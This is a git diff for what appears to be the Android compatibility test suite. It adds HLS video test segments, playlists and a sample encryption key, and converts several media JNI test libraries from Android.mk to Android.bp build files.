diff --git a/tests/tests/media/assets/hls_variant/387360/14.ts b/tests/tests/media/assets/hls_variant/387360/14.ts
new file mode 100644
index 0000000..f3f8e78
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/15.ts b/tests/tests/media/assets/hls_variant/387360/15.ts
new file mode 100644
index 0000000..6b12e72
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/16.ts b/tests/tests/media/assets/hls_variant/387360/16.ts
new file mode 100644
index 0000000..d95eeba
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/16.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/17.ts b/tests/tests/media/assets/hls_variant/387360/17.ts
new file mode 100644
index 0000000..141ae44
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/17.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/18.ts b/tests/tests/media/assets/hls_variant/387360/18.ts
new file mode 100644
index 0000000..fc52f1d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/18.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/19.ts b/tests/tests/media/assets/hls_variant/387360/19.ts
new file mode 100644
index 0000000..077db9b
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/19.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/20.ts b/tests/tests/media/assets/hls_variant/387360/20.ts
new file mode 100644
index 0000000..4ffb301
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/20.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/21.ts b/tests/tests/media/assets/hls_variant/387360/21.ts
new file mode 100644
index 0000000..6072368
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/21.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/22.ts b/tests/tests/media/assets/hls_variant/387360/22.ts
new file mode 100644
index 0000000..5edc055
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/22.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/23.ts b/tests/tests/media/assets/hls_variant/387360/23.ts
new file mode 100644
index 0000000..7870e39
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/23.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/24.ts b/tests/tests/media/assets/hls_variant/387360/24.ts
new file mode 100644
index 0000000..f4fc858
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/24.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/index.m3u8 b/tests/tests/media/assets/hls_variant/387360/index.m3u8
new file mode 100644
index 0000000..f36f33d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/index.m3u8
@@ -0,0 +1,53 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:5
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:5,
+00.ts
+#EXTINF:5,
+01.ts
+#EXTINF:5,
+02.ts
+#EXTINF:5,
+03.ts
+#EXTINF:5,
+04.ts
+#EXTINF:5,
+05.ts
+#EXTINF:5,
+06.ts
+#EXTINF:5,
+07.ts
+#EXTINF:5,
+08.ts
+#EXTINF:5,
+09.ts
+#EXTINF:5,
+10.ts
+#EXTINF:5,
+11.ts
+#EXTINF:5,
+12.ts
+#EXTINF:5,
+13.ts
+#EXTINF:5,
+14.ts
+#EXTINF:5,
+15.ts
+#EXTINF:5,
+16.ts
+#EXTINF:5,
+17.ts
+#EXTINF:5,
+18.ts
+#EXTINF:5,
+19.ts
+#EXTINF:5,
+20.ts
+#EXTINF:5,
+21.ts
+#EXTINF:5,
+22.ts
+#EXTINF:5,
+23.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/765178/00.ts b/tests/tests/media/assets/hls_variant/765178/00.ts
new file mode 100644
index 0000000..c544131
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/01.ts b/tests/tests/media/assets/hls_variant/765178/01.ts
new file mode 100644
index 0000000..11adb7a
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/02.ts b/tests/tests/media/assets/hls_variant/765178/02.ts
new file mode 100644
index 0000000..d5300f4
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/03.ts b/tests/tests/media/assets/hls_variant/765178/03.ts
new file mode 100644
index 0000000..8a3ce79
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/04.ts b/tests/tests/media/assets/hls_variant/765178/04.ts
new file mode 100644
index 0000000..94b1ced
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/05.ts b/tests/tests/media/assets/hls_variant/765178/05.ts
new file mode 100644
index 0000000..d44d4a6
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/06.ts b/tests/tests/media/assets/hls_variant/765178/06.ts
new file mode 100644
index 0000000..52455dd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/07.ts b/tests/tests/media/assets/hls_variant/765178/07.ts
new file mode 100644
index 0000000..cea2858
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/08.ts b/tests/tests/media/assets/hls_variant/765178/08.ts
new file mode 100644
index 0000000..79a1ef1
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/09.ts b/tests/tests/media/assets/hls_variant/765178/09.ts
new file mode 100644
index 0000000..6e987f2
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/10.ts b/tests/tests/media/assets/hls_variant/765178/10.ts
new file mode 100644
index 0000000..c5f1af4
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/11.ts b/tests/tests/media/assets/hls_variant/765178/11.ts
new file mode 100644
index 0000000..1a96c19
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/12.ts b/tests/tests/media/assets/hls_variant/765178/12.ts
new file mode 100644
index 0000000..b6095bb
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/13.ts b/tests/tests/media/assets/hls_variant/765178/13.ts
new file mode 100644
index 0000000..b91b740
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/14.ts b/tests/tests/media/assets/hls_variant/765178/14.ts
new file mode 100644
index 0000000..d033f16
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/15.ts b/tests/tests/media/assets/hls_variant/765178/15.ts
new file mode 100644
index 0000000..f294842
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/16.ts b/tests/tests/media/assets/hls_variant/765178/16.ts
new file mode 100644
index 0000000..15a9e9e
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/16.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/17.ts b/tests/tests/media/assets/hls_variant/765178/17.ts
new file mode 100644
index 0000000..e024ce0
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/17.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/18.ts b/tests/tests/media/assets/hls_variant/765178/18.ts
new file mode 100644
index 0000000..9e7fea2
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/18.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/19.ts b/tests/tests/media/assets/hls_variant/765178/19.ts
new file mode 100644
index 0000000..4bb80bf
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/19.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/20.ts b/tests/tests/media/assets/hls_variant/765178/20.ts
new file mode 100644
index 0000000..591fda9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/20.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/21.ts b/tests/tests/media/assets/hls_variant/765178/21.ts
new file mode 100644
index 0000000..a3cab10
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/21.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/22.ts b/tests/tests/media/assets/hls_variant/765178/22.ts
new file mode 100644
index 0000000..c60c3f8
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/22.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/23.ts b/tests/tests/media/assets/hls_variant/765178/23.ts
new file mode 100644
index 0000000..e60a254
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/23.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/24.ts b/tests/tests/media/assets/hls_variant/765178/24.ts
new file mode 100644
index 0000000..bc75f31
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/24.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/index.m3u8 b/tests/tests/media/assets/hls_variant/765178/index.m3u8
new file mode 100644
index 0000000..f36f33d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/index.m3u8
@@ -0,0 +1,53 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:5
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:5,
+00.ts
+#EXTINF:5,
+01.ts
+#EXTINF:5,
+02.ts
+#EXTINF:5,
+03.ts
+#EXTINF:5,
+04.ts
+#EXTINF:5,
+05.ts
+#EXTINF:5,
+06.ts
+#EXTINF:5,
+07.ts
+#EXTINF:5,
+08.ts
+#EXTINF:5,
+09.ts
+#EXTINF:5,
+10.ts
+#EXTINF:5,
+11.ts
+#EXTINF:5,
+12.ts
+#EXTINF:5,
+13.ts
+#EXTINF:5,
+14.ts
+#EXTINF:5,
+15.ts
+#EXTINF:5,
+16.ts
+#EXTINF:5,
+17.ts
+#EXTINF:5,
+18.ts
+#EXTINF:5,
+19.ts
+#EXTINF:5,
+20.ts
+#EXTINF:5,
+21.ts
+#EXTINF:5,
+22.ts
+#EXTINF:5,
+23.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/index.m3u8 b/tests/tests/media/assets/hls_variant/index.m3u8
new file mode 100644
index 0000000..2e94f5d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/index.m3u8
@@ -0,0 +1,12 @@
+#EXTM3U
+#EXT-X-INDEPENDENT-SEGMENTS
+#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=165340,RESOLUTION=256x144,CODECS="mp4a.40.5,avc1.42c00b"
+165340/index.m3u8
+#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=344388,RESOLUTION=426x240,CODECS="mp4a.40.5,avc1.4d4015"
+344388/index.m3u8
+#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=387360,RESOLUTION=640x360,CODECS="mp4a.40.2,avc1.4d401e"
+387360/index.m3u8
+#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=765178,RESOLUTION=854x480,CODECS="mp4a.40.2,avc1.4d401f"
+765178/index.m3u8
+#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=1676816,RESOLUTION=1280x720,CODECS="mp4a.40.2,avc1.4d401f"
+1676816/index.m3u8
diff --git a/tests/tests/media/assets/unmuxed_1500k/00.key b/tests/tests/media/assets/unmuxed_1500k/00.key
new file mode 100644
index 0000000..eb61918
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/00.key
@@ -0,0 +1 @@
+ëÝbñhÒ{hï*üä®<
\ No newline at end of file
diff --git a/tests/tests/media/assets/unmuxed_1500k/00.ts b/tests/tests/media/assets/unmuxed_1500k/00.ts
new file mode 100644
index 0000000..9891dc6
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/01.ts b/tests/tests/media/assets/unmuxed_1500k/01.ts
new file mode 100644
index 0000000..d374565
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/02.ts b/tests/tests/media/assets/unmuxed_1500k/02.ts
new file mode 100644
index 0000000..6a6fbdb
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/03.ts b/tests/tests/media/assets/unmuxed_1500k/03.ts
new file mode 100644
index 0000000..cba18a5
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/04.ts b/tests/tests/media/assets/unmuxed_1500k/04.ts
new file mode 100644
index 0000000..bed2e63
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/05.ts b/tests/tests/media/assets/unmuxed_1500k/05.ts
new file mode 100644
index 0000000..35504ca
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/06.ts b/tests/tests/media/assets/unmuxed_1500k/06.ts
new file mode 100644
index 0000000..8456a79
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/07.ts b/tests/tests/media/assets/unmuxed_1500k/07.ts
new file mode 100644
index 0000000..e19ec6b
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/08.ts b/tests/tests/media/assets/unmuxed_1500k/08.ts
new file mode 100644
index 0000000..9a695cd
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/09.ts b/tests/tests/media/assets/unmuxed_1500k/09.ts
new file mode 100644
index 0000000..eecdb09
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/10.ts b/tests/tests/media/assets/unmuxed_1500k/10.ts
new file mode 100644
index 0000000..ce1383a
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/11.ts b/tests/tests/media/assets/unmuxed_1500k/11.ts
new file mode 100644
index 0000000..99a9ba2
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/12.ts b/tests/tests/media/assets/unmuxed_1500k/12.ts
new file mode 100644
index 0000000..e63f897
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/13.ts b/tests/tests/media/assets/unmuxed_1500k/13.ts
new file mode 100644
index 0000000..50010e2
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/14.ts b/tests/tests/media/assets/unmuxed_1500k/14.ts
new file mode 100644
index 0000000..8667a91
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/15.ts b/tests/tests/media/assets/unmuxed_1500k/15.ts
new file mode 100644
index 0000000..124b1b5
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/index.m3u8 b/tests/tests/media/assets/unmuxed_1500k/index.m3u8
new file mode 100644
index 0000000..ee979a2
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/index.m3u8
@@ -0,0 +1,37 @@
+#EXTM3U
+#EXT-X-INDEPENDENT-SEGMENTS
+#EXT-X-VERSION:5
+#EXT-X-TARGETDURATION:10
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXT-X-KEY:METHOD=SAMPLE-AES,URI="00.key",IV=0x10428210ced85ee2ece4f45206ba81ce
+#EXTINF:5.04167,
+00.ts
+#EXTINF:6.83333,
+01.ts
+#EXTINF:3.875,
+02.ts
+#EXTINF:7.29167,
+03.ts
+#EXTINF:10,
+04.ts
+#EXTINF:10,
+05.ts
+#EXTINF:4.66667,
+06.ts
+#EXTINF:8.375,
+07.ts
+#EXTINF:7.70833,
+08.ts
+#EXTINF:9.66667,
+09.ts
+#EXTINF:6.5,
+10.ts
+#EXTINF:9.79167,
+11.ts
+#EXTINF:10,
+12.ts
+#EXTINF:4.16667,
+13.ts
+#EXTINF:8.75,
+14.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/libaudiojni/Android.bp b/tests/tests/media/libaudiojni/Android.bp
new file mode 100644
index 0000000..6e1805c
--- /dev/null
+++ b/tests/tests/media/libaudiojni/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+ name: "libaudio_jni",
+ srcs: [
+ "appendix-b-1-1-buffer-queue.cpp",
+ "appendix-b-1-2-recording.cpp",
+ "audio-record-native.cpp",
+ "audio-track-native.cpp",
+ "sl-utils.cpp",
+ ],
+ include_dirs: ["system/core/include"],
+ shared_libs: [
+ "libandroid",
+ "liblog",
+ "libnativehelper_compat_libc++",
+ "libOpenSLES",
+ ],
+ stl: "libc++_static",
+ cflags: [
+ "-Werror",
+ "-Wall",
+ ],
+ gtest: false,
+}
diff --git a/tests/tests/media/libaudiojni/Android.mk b/tests/tests/media/libaudiojni/Android.mk
deleted file mode 100644
index af9d989..0000000
--- a/tests/tests/media/libaudiojni/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libaudio_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
- appendix-b-1-1-buffer-queue.cpp \
- appendix-b-1-2-recording.cpp \
- audio-record-native.cpp \
- audio-track-native.cpp \
- sl-utils.cpp
-
-LOCAL_C_INCLUDES := \
- $(JNI_H_INCLUDE) \
- system/core/include
-
-LOCAL_C_INCLUDES += $(call include-path-for, libaudiojni) \
- $(call include-path-for, wilhelm)
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog libnativehelper_compat_libc++ libOpenSLES
-LOCAL_CXX_STL := libc++
-
-LOCAL_CFLAGS := -Werror -Wall
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libimagereaderjni/Android.bp b/tests/tests/media/libimagereaderjni/Android.bp
new file mode 100644
index 0000000..9dd0988
--- /dev/null
+++ b/tests/tests/media/libimagereaderjni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the unit tests.
+
+cc_test_library {
+ name: "libctsimagereader_jni",
+ srcs: ["AImageReaderCts.cpp"],
+ shared_libs: [
+ "libandroid",
+ "libcamera2ndk",
+ "libmediandk",
+ "libnativewindow",
+ "liblog",
+ ],
+ cflags: [
+ "-Werror",
+ "-Wall",
+ ],
+ gtest: false,
+}
diff --git a/tests/tests/media/libimagereaderjni/Android.mk b/tests/tests/media/libimagereaderjni/Android.mk
deleted file mode 100644
index 6ce591c..0000000
--- a/tests/tests/media/libimagereaderjni/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build the unit tests.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libctsimagereader_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
- AImageReaderCts.cpp
-
-LOCAL_SHARED_LIBRARIES := \
- libandroid \
- libcamera2ndk \
- libmediandk \
- libnativewindow \
- liblog
-
-LOCAL_CXX_STL := libc++
-
-LOCAL_CFLAGS := -Werror -Wall
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libmediandkjni/Android.bp b/tests/tests/media/libmediandkjni/Android.bp
new file mode 100644
index 0000000..109a488
--- /dev/null
+++ b/tests/tests/media/libmediandkjni/Android.bp
@@ -0,0 +1,94 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+//------------------------------------------------------------------------------
+// Builds libctscodecutils_jni.so
+//
+cc_test_library {
+ name: "libctscodecutils_jni",
+ srcs: [
+ "codec-utils-jni.cpp",
+ "md5_utils.cpp",
+ ],
+ include_dirs: ["system/core/include"],
+ shared_libs: [
+ "libnativehelper_compat_libc++",
+ "liblog",
+ ],
+ sdk_version: "current",
+ cflags: [
+ "-Werror",
+ "-Wall",
+ "-DEGL_EGLEXT_PROTOTYPES",
+ ],
+ gtest: false,
+}
+
+//------------------------------------------------------------------------------
+// Builds libctsmediacodec_jni.so
+//
+cc_test_library {
+ name: "libctsmediacodec_jni",
+ srcs: [
+ "native-media-jni.cpp",
+ "native_media_utils.cpp",
+ "native_media_decoder_source.cpp",
+ "native_media_encoder_jni.cpp",
+ ],
+ include_dirs: ["system/core/include"],
+ shared_libs: [
+ "libandroid",
+ "libnativehelper_compat_libc++",
+ "liblog",
+ "libmediandk",
+ "libEGL",
+ ],
+ stl: "libc++_static",
+ cflags: [
+ "-Werror",
+ "-Wall",
+ "-DEGL_EGLEXT_PROTOTYPES",
+ ],
+ gtest: false,
+}
+
+//------------------------------------------------------------------------------
+// Builds libctsmediadrm_jni.so
+//
+cc_test_library {
+ name: "libctsmediadrm_jni",
+ srcs: [
+ "CtsMediaDrmJniOnLoad.cpp",
+ "codec-utils-jni.cpp",
+ "md5_utils.cpp",
+ "native-mediadrm-jni.cpp",
+ ],
+ include_dirs: ["system/core/include"],
+ shared_libs: [
+ "libandroid",
+ "libnativehelper_compat_libc++",
+ "liblog",
+ "libmediandk",
+ "libdl",
+ "libEGL",
+ ],
+ cflags: [
+ "-Werror",
+ "-Wall",
+ "-DEGL_EGLEXT_PROTOTYPES",
+ ],
+ stl: "libc++_static",
+ gtest: false,
+}
diff --git a/tests/tests/media/libmediandkjni/Android.mk b/tests/tests/media/libmediandkjni/Android.mk
deleted file mode 100644
index 993f177..0000000
--- a/tests/tests/media/libmediandkjni/Android.mk
+++ /dev/null
@@ -1,111 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-#------------------------------------------------------------------------------
-# Builds libctscodecutils_jni.so
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctscodecutils_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
- codec-utils-jni.cpp \
- md5_utils.cpp
-
-LOCAL_C_INCLUDES := \
- $(JNI_H_INCLUDE) \
- system/core/include
-
-LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
-
-LOCAL_SHARED_LIBRARIES := \
- libnativehelper_compat_libc++ \
- liblog
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_NDK_STL_VARIANT := system
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
-
-include $(BUILD_SHARED_LIBRARY)
-
-#------------------------------------------------------------------------------
-# Builds libctsmediacodec_jni.so
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsmediacodec_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
- native-media-jni.cpp \
- native_media_utils.cpp \
- native_media_decoder_source.cpp \
- native_media_encoder_jni.cpp
-
-LOCAL_C_INCLUDES := \
- $(JNI_H_INCLUDE) \
- system/core/include
-
-LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
-
-LOCAL_SHARED_LIBRARIES := \
- libandroid libnativehelper_compat_libc++ \
- liblog libmediandk libEGL
-
-LOCAL_CXX_STL := libc++
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
-
-include $(BUILD_SHARED_LIBRARY)
-
-
-#------------------------------------------------------------------------------
-# Builds libctsmediadrm_jni.so
-#
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsmediadrm_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
- CtsMediaDrmJniOnLoad.cpp \
- codec-utils-jni.cpp \
- md5_utils.cpp \
- native-mediadrm-jni.cpp \
-
-LOCAL_C_INCLUDES := \
- $(JNI_H_INCLUDE) \
- system/core/include
-
-
-LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
-
-LOCAL_SHARED_LIBRARIES := \
- libandroid libnativehelper_compat_libc++ \
- liblog libmediandk libdl libEGL
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
-
-LOCAL_CXX_STL := libc++
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libndkaudio/Android.bp b/tests/tests/media/libndkaudio/Android.bp
new file mode 100644
index 0000000..2746f0d
--- /dev/null
+++ b/tests/tests/media/libndkaudio/Android.bp
@@ -0,0 +1,54 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+ name: "libndkaudioLib",
+ include_dirs: [
+ "frameworks/wilhelm/include",
+ "frameworks/wilhelm/src/android",
+ ],
+ srcs: [
+ "OpenSLESUtils.cpp",
+ "AudioPlayer.cpp",
+ "AudioSource.cpp",
+ "PeriodicAudioSource.cpp",
+ "SystemParams.cpp",
+ "WaveTableGenerator.cpp",
+ "WaveTableOscillator.cpp",
